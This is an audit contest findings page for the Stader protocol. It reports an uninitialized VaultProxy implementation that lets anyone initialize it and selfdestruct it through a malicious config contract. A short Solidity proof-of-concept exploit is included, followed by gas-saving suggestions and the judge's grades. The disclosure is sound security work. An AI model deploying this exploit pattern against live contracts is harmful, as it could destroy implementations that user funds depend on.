Platform: Code4rena
Start Date: 02/06/2023
Pot Size: $100,000 USDC
Total HM: 15
Participants: 75
Period: 7 days
Judge: Picodes
Total Solo HM: 5
Id: 249
League: ETH
Rank: 13/75
Findings: 2
Award: $2,080.66
π Selected for report: 0
π Solo Findings: 0
π Selected for report: broccolirob
2059.0426 USDC - $2,059.04
https://github.com/code-423n4/2023-06-stader/blob/main/contracts/factory/VaultFactory.sol#L29
When the VaultFactory
contract gets initialized, it deploys an instance of VaultProxy
to be used as the implementation contract that gets cloned throughout the factory contract. Because this VaultProxy
is not getting initialized, anybody can be the initializer of the vaultProxyImplementation
. The attacker can initialize and pass a malicious staderConfig
address containing a selfdestruct instruction. All the attacker needs to do now is to call the malicious function, and the proxy will delegatecall to it, leading to the selfdestruct of the implementation contract being used in the VaultFactory
.
contract MaliciousStaderConfig { address admin; constructor() { admin = msg.sender; } function getAdmin() external view returns (address) { return admin; } function getValidatorWithdrawalVaultImplementation() external view returns (address) { return address(this); } function kill() external { selfdestruct(admin); } } contract TestAttack() { VaultFactory vaultFactory; /* ... */ function attack() public { address vaultProxyImplementation = vaultFactory.vaultProxyImplementation(); MaliciousStaderConfig attacker = new MaliciousStaderConfig(); VaultProxy(vaultProxyImplementation).initialise(true, 1, 1, address(attacker)); MaliciousStaderConfig(vaultProxyImplementation).kill(); // selfdestructs } }
Manual review.
Add _disableInitializers()
in the constructor of VaultProxy
, just like it's being done on the VaultFactory
contract.
Access Control
#0 - c4-judge
2023-06-10T10:48:15Z
Picodes marked the issue as duplicate of #167
#1 - c4-judge
2023-06-26T15:49:50Z
Picodes marked the issue as satisfactory
π Selected for report: JCN
Also found by: 0x70C9, 0xSmartContract, 0xWaitress, 0xhacksmithh, DavidGiladi, K42, LaScaloneta, Rageur, Raihan, SAAJ, SAQ, SM3_SS, Sathish9098, Tomio, bigtone, c3phas, ernestognw, etherhood, koxuan, matrix_0wl, mgf15, naman1778, niser93, petrichor, piyushshukla, sebghatullah, shamsulhaq123
21.6219 USDC - $21.62
In the withdraw
function, one queries poolId, operatorId, etc, by doing IVaultProxy(address(this)).poolId()
, etc. Consider just mimicking the same storage layout present in the VaultProxy contract and just query those values as normal SLOADs, thus avoiding external calls to self.
index
can be incremented with uncheckedThe for loop inside another for loop in stakeUserETHToBeacon
is incrementing index
without an unchecked block. Consider wrapping it into an unchecked block, just like itΒ΄s being done with i
.
The fullDepositOnBeaconChain
function can only be called by the PermissionedNodeRegistry. So after the first UtilLib check, we are certain that msg.sender
is the node registry address. So instead of doing address nodeRegistryAddress = staderConfig.getPermissionedNodeRegistry();
, just do address nodeRegistryAddress = msg.sender;
.
PermissionedPool.computeDepositDataRoot
public instead of externalThe computeDepositDataRoot
function gets called internally inside the PermissionedPool contract, and since it is external it can only be called through an external call. Consider changing the visibility to public
to allow the execution of computeDepositDataRoot
inside the contract without the need for an external call.
#0 - c4-judge
2023-06-14T05:49:56Z
Picodes marked the issue as grade-b